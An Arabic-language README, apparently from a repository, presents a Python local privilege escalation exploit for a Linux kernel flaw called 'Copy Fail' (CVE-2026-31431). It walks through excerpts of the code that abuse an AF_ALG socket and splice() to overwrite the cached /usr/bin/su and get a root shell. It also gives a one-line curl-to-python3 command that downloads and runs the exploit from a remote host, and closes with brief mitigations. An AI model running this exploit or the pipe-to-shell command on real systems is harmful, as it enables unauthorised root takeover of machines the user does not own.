
استغلال بلغة بايثون لتصعيد الامتيازات محليًا في نواة لينكس (CVE-2026-31431) باستخدام حالة مقبس AF_ALG المربكة ودالة splice() لتحقيق كتابة عشوائية في الملفات والوصول إلى صلاحيات الجذر.
هذا المستودع مخصص لأغراض تعليمية وبحوث الأمن السيبراني فقط. يتم تحليل كود الاستغلال لفهم الثغرة الأساسية، وتسهيل التصحيح، وتطوير استراتيجيات دفاعية. لا تستخدم هذا ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
"Copy Fail" هي ثغرة حرجة لتصعيد الامتيازات المحلي (LPE) تم اكتشافها في نواة لينكس. تسمح لمستخدم غير مميز بالحصول على وصول root من خلال استغلال خلل في كيفية تعامل النواة مع عمليات الذاكرة بين نظام الملفات وواجهة برمجة التشفير غير المتزامن (AF_ALG).
يستغل كود Python المقدم مجموعة من استدعاءات النظام وواجهات لينكس الغامضة لتحقيق كتابة خارج الحدود (OOB) عشوائية في ذاكرة النواة، والتي تُترجم بعد ذلك إلى كتابة ملفات عشوائية على القرص.
فيما يلي تفصيل خطوة بخطوة لسلسلة الهجوم:
AF_ALGa=s.socket(38, 5, 0)
a.bind(("aead","authesn(hmac(sha256),cbc(aes))"))
يقوم السكربت بإنشاء مقبس AF_ALG (العائلة 38). تسمح هذه الواجهة لتطبيقات مساحة المستخدم بتفريغ العمليات التشفيرية إلى النواة. يطلب تحديدًا سلسلة تشفير AEAD (تشفير مصادق عليه مع بيانات مرتبطة) تجمع بين HMAC-SHA256 وCBC-AES.
setsockoptv(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
يتلاعب السكربت بالحالة الداخلية للمقبس باستخدام setsockopt. تم تصميم الحمولة السداسية العشرية ووسيطة None بعناية لتحفيز حالة حدية أو تجاوز عدد صحيح في إدارة مخزن واجهة التشفير في النواة. هذا "يفشل" عملية النسخ بأمان داخل النواة، تاركًا المقبس في حالة غير متناسقة وقابلة للاستغلال.
splice()n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)
هذا هو جوهر الاستغلال. بدلاً من قراءة البيانات إلى مساحة المستخدم وإعادتها، ينقل splice() البيانات مباشرة بين واصفات الملفات بالكامل داخل مساحة النواة.
يفتح السكربت /usr/bin/su (ملف ثنائي SUID بصلاحيات root) ويحاول نقل البيانات منه إلى مقبس AF_ALG المضبوط بشكل خاطئ. نظرًا لأن حالة المقبس تم إفسادها في الخطوة 2، يفشل فحص الحدود في النواة أثناء عملية النسخ الصفري هذه.
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4
يفك السكربت ضغط حمولة مضغوطة (على الأرجح شيفرة صغيرة أو كتلة ثنائية معدلة). يدخل في حلقة، ويرسل هذه الحمولة 4 بايتات في كل مرة إلى مخزن المقبس التالف. بسبب فشل فحص الحدود، تصل هذه الكتابات ذات الـ 4 بايتات إلى إزاحات عشوائية في ذاكرة التخزين المؤقت للصفحات في النواة—وهي مساحة الذاكرة المحددة التي يتم تحميل /usr/bin/su فيها.
g.system("su")
من خلال الكتابة فوق مؤشرات تعليمات محددة أو فحوصات منطقية داخل النسخة المخزنة مؤقتًا في الصفحات من /usr/bin/su، يعدل المهاجم سلوك الملف الثنائي. عند استدعاء system("su")، يتم تنفيذ الملف الثنائي SUID المعدل. يعمل الملف الثنائي كـ root لكنه يتخطى التحقق القياسي من كلمة المرور، مما يُسقط المهاجم مباشرة في قشرة root.
قم بالتنزيل وتشغيل copyfail.py على نظام لينكس الخاص بك أو استخدم طلب curl أدناه للتشغيل السريع
curl https://copy.fail/exp | python3 && su
id
https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e
AF_ALG: إذا لم يكن تفريغ التشفير مطلوبًا لأحمال العمل الخاصة بك، قم بتعطيل وحدة النواة af_alg بإضافة blacklist af_alg إلى /etc/modprobe.d/blacklist.conf.splice() وsocket() (خاصة العائلة 38) وsetsockopt() باستخدام مرشحات Seccomp صارمة.